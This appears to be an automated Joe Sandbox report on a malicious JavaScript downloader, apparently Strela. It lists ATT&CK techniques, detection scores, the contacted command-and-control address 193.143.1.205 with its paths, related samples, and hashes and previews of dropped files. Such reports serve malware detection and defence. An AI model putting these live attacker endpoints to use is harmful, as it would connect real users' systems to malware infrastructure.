Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
25055222211104026628.js	7%	Virustotal		Browse
25055222211104026628.js	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/:$n	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2715558275.000001A4A7C84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1534719966.000001A4A79E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/:$n	net.exe, 00000007.00000002.1537311329.000001A15C6EC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1537311329.000001A15C6C0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1537311329.000001A15C6EC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1537311329.000001A15C70B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1537311329.000001A15C6C0000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588248
Start date and time:	2025-01-10 23:03:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	25055222211104026628.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 2.23.242.162, 54.224.241.105, 18.213.11.84, 34.237.241.83, 50.16.47.176, 199.232.214.172, 23.209.209.135, 2.16.168.107, 2.16.168.105, 20.109.210.53, 23.217.172.185, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:04:19	API Interceptor	23x Sleep call for process: powershell.exe modified
17:04:23	API Interceptor	1x Sleep call for process: net.exe modified
17:04:23	API Interceptor	2x Sleep call for process: svchost.exe modified
17:04:31	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1492619129759821343.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	256361061998227470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32489123841084027785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022063569161386
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAr:RJE+Lfki1GjHwU/+vVhWqpm
MD5:	724E86FC784FE142631984834809D1E3
SHA1:	169929D70081605D77779A9DA7F4424AC503247C
SHA-256:	8365F43B95FE7B9F567334EF579DC454DC06BD6B3A407053A192F4DE115913FC
SHA-512:	4C5FD378CFC893D35D0A3C6C9EFB605CC889B333A63F559E9BFAA6CEB4FC654C89717F583BE7F77F4FDBE5F8D501B553B21541C2CEB050F2FD1542DD493FCE49
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xfc7d9df4, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433397017471314
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:razaHvxXy2V2UR
MD5:	7C522204E6FCA31090ED10AB2C6E03C8
SHA1:	23AD403031AE5D487BB499DC42D22631A45DFF68
SHA-256:	9573621A65E27775F27320A3665535D0219677867F66DF42326D7E3A7CAC466D
SHA-512:	1BCE9EC97F62890F5049E7484914125177AAC97DF908F5EB5527BD476822487AFC4BC17157A036936F5C5DE3F1C06CBB08AD9DC927D991EBFB2E5EE7F8946578
Malicious:	false
Preview:	.}..... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................L..(.....}y..................'.p.....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08083160675459529
Encrypted:	false
SSDEEP:	3:Fml/yYeKlJMgGsl/nqlFcl1ZUllllDnxzvRVllGBnX/l/Tj/k7/t:0yzYClsl/qlFclQ/l9xzt254
MD5:	4D6151FC2DF77BEC1A25A2DFF8D41833
SHA1:	83DCAE5A8755961CD870B471BBA935DDE9AF338D
SHA-256:	7E801FB3B9E698815BA40C1141C84341977804270CF517D73FC7C3941084EE93
SHA-512:	F4323D6F55F15A2FBB0B8E394E79D89D8BEB84DE6C149648D430A86F07498FB3772A29F1D2081B78A01B829EEB8F7C5D0FD42110BCD7237039CBDA9AD444EC79
Malicious:	false
Preview:	.t`......................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s..................'.p.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2423460960762265
Encrypted:	false
SSDEEP:	6:iO4uM2L+q2PCHhJ2nKuAl9OmbnIFUtSuMu1ZmwsuM4LVkwOCHhJ2nKuAl9OmbjLJ:75wvBHAahFUtbJ1/lZ56HAaSJ
MD5:	E9306A42E451C434F9B1FB52990C4798
SHA1:	137CAEBD265B699298627405CA8EA52ED09EA29B
SHA-256:	4AF834E9C2438A6CA38DF89FDADF4150141176B44136F5CD34693968A3E87FF6
SHA-512:	9B94B153FD409BAEC048F84673A9F60E55FF38816C13192E5E1FD053AD838948ECCA27B4D745AA84A62DE4955D4BFB4BB7E42303333AC0F11F369637D907747B
Malicious:	false
Preview:	2025/01/10-17:04:23.476 1f78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:04:23.478 1f78 Recovering log #3.2025/01/10-17:04:23.478 1f78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2423460960762265
Encrypted:	false
SSDEEP:	6:iO4uM2L+q2PCHhJ2nKuAl9OmbnIFUtSuMu1ZmwsuM4LVkwOCHhJ2nKuAl9OmbjLJ:75wvBHAahFUtbJ1/lZ56HAaSJ
MD5:	E9306A42E451C434F9B1FB52990C4798
SHA1:	137CAEBD265B699298627405CA8EA52ED09EA29B
SHA-256:	4AF834E9C2438A6CA38DF89FDADF4150141176B44136F5CD34693968A3E87FF6
SHA-512:	9B94B153FD409BAEC048F84673A9F60E55FF38816C13192E5E1FD053AD838948ECCA27B4D745AA84A62DE4955D4BFB4BB7E42303333AC0F11F369637D907747B
Malicious:	false
Preview:	2025/01/10-17:04:23.476 1f78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:04:23.478 1f78 Recovering log #3.2025/01/10-17:04:23.478 1f78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.2059868630220585
Encrypted:	false
SSDEEP:	6:iO4uMgN+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSuMKWJZmwsuMKW9VkwOCHhJ2nKuAv:75zIvBHAa8uFUtb4/lg56HAa8RJ
MD5:	4565B8B412211B966537E59759A1C2A4
SHA1:	7F2B29341A7A9D9AA8094BBC0A1CB6BE6E0D21EE
SHA-256:	0CC9DC951E2FEDE0F6BDE6214C71EC41FB30110DFFFC5B142E92BF2C342A0609
SHA-512:	4CC94BFC3A7E0E82CBF3A050038D1D276A2A3A128FAA96FBED11D776D6C20F45B2E767B026671278314E3CF16DD2EC53D39EC67BCC7368F5D0B64974A44A64AB
Malicious:	false
Preview:	2025/01/10-17:04:23.564 518 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:04:23.565 518 Recovering log #3.2025/01/10-17:04:23.565 518 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.2059868630220585
Encrypted:	false
SSDEEP:	6:iO4uMgN+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSuMKWJZmwsuMKW9VkwOCHhJ2nKuAv:75zIvBHAa8uFUtb4/lg56HAa8RJ
MD5:	4565B8B412211B966537E59759A1C2A4
SHA1:	7F2B29341A7A9D9AA8094BBC0A1CB6BE6E0D21EE
SHA-256:	0CC9DC951E2FEDE0F6BDE6214C71EC41FB30110DFFFC5B142E92BF2C342A0609
SHA-512:	4CC94BFC3A7E0E82CBF3A050038D1D276A2A3A128FAA96FBED11D776D6C20F45B2E767B026671278314E3CF16DD2EC53D39EC67BCC7368F5D0B64974A44A64AB
Malicious:	false
Preview:	2025/01/10-17:04:23.564 518 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:04:23.565 518 Recovering log #3.2025/01/10-17:04:23.565 518 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\47e3b727-7b42-4bde-94d6-6d0cddb10e70.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.974792857895216
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGnAxsBdOg2Hwcaq3QYiub6P7E4T3y:Y2sRdsVpdMH73QYhbS7nby
MD5:	93D927691FF50ECC15F60C8D1EEE09A6
SHA1:	3637FA7F99CD035CD33BA8AD2580F831F010A80C
SHA-256:	D3351D7C73D4AD123ADC9B45613CF4D11FEBE8490A3ADBD9056C104C6B589515
SHA-512:	D6C63ACDF3ACDE6FAA9440ED1347335C2104E3E38AE0AAAA43267F551871CFE2878C1975EBED0B4F5D8ABC597618CBDD194941E62CD122D95216089BD72EAB22
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381106675065528","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":157498},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.974792857895216
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGnAxsBdOg2Hwcaq3QYiub6P7E4T3y:Y2sRdsVpdMH73QYhbS7nby
MD5:	93D927691FF50ECC15F60C8D1EEE09A6
SHA1:	3637FA7F99CD035CD33BA8AD2580F831F010A80C
SHA-256:	D3351D7C73D4AD123ADC9B45613CF4D11FEBE8490A3ADBD9056C104C6B589515
SHA-512:	D6C63ACDF3ACDE6FAA9440ED1347335C2104E3E38AE0AAAA43267F551871CFE2878C1975EBED0B4F5D8ABC597618CBDD194941E62CD122D95216089BD72EAB22
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381106675065528","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":157498},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.235746155983197
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bkORn:S43C4mS7fFi0KFYDjr3LWO3V3aw+bkOF
MD5:	ECEA2AE2F03160225E77CFB10734CAA7
SHA1:	051490821FE1ABA344D6A112A383992F3EFB8F2E
SHA-256:	2DE262FCF7E0B9080A7C5C84B86ADD9DD1A5C8C57EFF57DCCF6CD4BA69450B2E
SHA-512:	FB0AC57CC5250A7CE42960692EFE3303DB12E51D2F57F513F09CFA7BE2F7FD6252362FA149783425D1EDA606668616E37B54833626A4A87D29EF2A2CB8ADC496
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.2184610312392055
Encrypted:	false
SSDEEP:	6:iO4uw+q2PCHhJ2nKuAl9OmbzNMxIFUtSuGZmwsuRtVkwOCHhJ2nKuAl9OmbzNMFd:751vBHAa8jFUtbG/lh56HAa84J
MD5:	D8FF65D4B9075228CD44C94F95B82EB3
SHA1:	3651B84B03FAD78F957984DE8D0EBCF70E7DC8D6
SHA-256:	1AB3026892B4E01E7E7097363C069A33B3C5ABA52F5752350156E2EE30688076
SHA-512:	8165278E7FB9C78708B3EDC235FD5632C7A4376D2A84C1F58950AA4679390FA27600F57486DAFABF0F425BD7F29FD8FF79C6ED81CDDD6713DA8E55523F617D49
Malicious:	false
Preview:	2025/01/10-17:04:24.096 518 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:04:24.098 518 Recovering log #3.2025/01/10-17:04:24.099 518 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.2184610312392055
Encrypted:	false
SSDEEP:	6:iO4uw+q2PCHhJ2nKuAl9OmbzNMxIFUtSuGZmwsuRtVkwOCHhJ2nKuAl9OmbzNMFd:751vBHAa8jFUtbG/lh56HAa84J
MD5:	D8FF65D4B9075228CD44C94F95B82EB3
SHA1:	3651B84B03FAD78F957984DE8D0EBCF70E7DC8D6
SHA-256:	1AB3026892B4E01E7E7097363C069A33B3C5ABA52F5752350156E2EE30688076
SHA-512:	8165278E7FB9C78708B3EDC235FD5632C7A4376D2A84C1F58950AA4679390FA27600F57486DAFABF0F425BD7F29FD8FF79C6ED81CDDD6713DA8E55523F617D49
Malicious:	false
Preview:	2025/01/10-17:04:24.096 518 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:04:24.098 518 Recovering log #3.2025/01/10-17:04:24.099 518 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
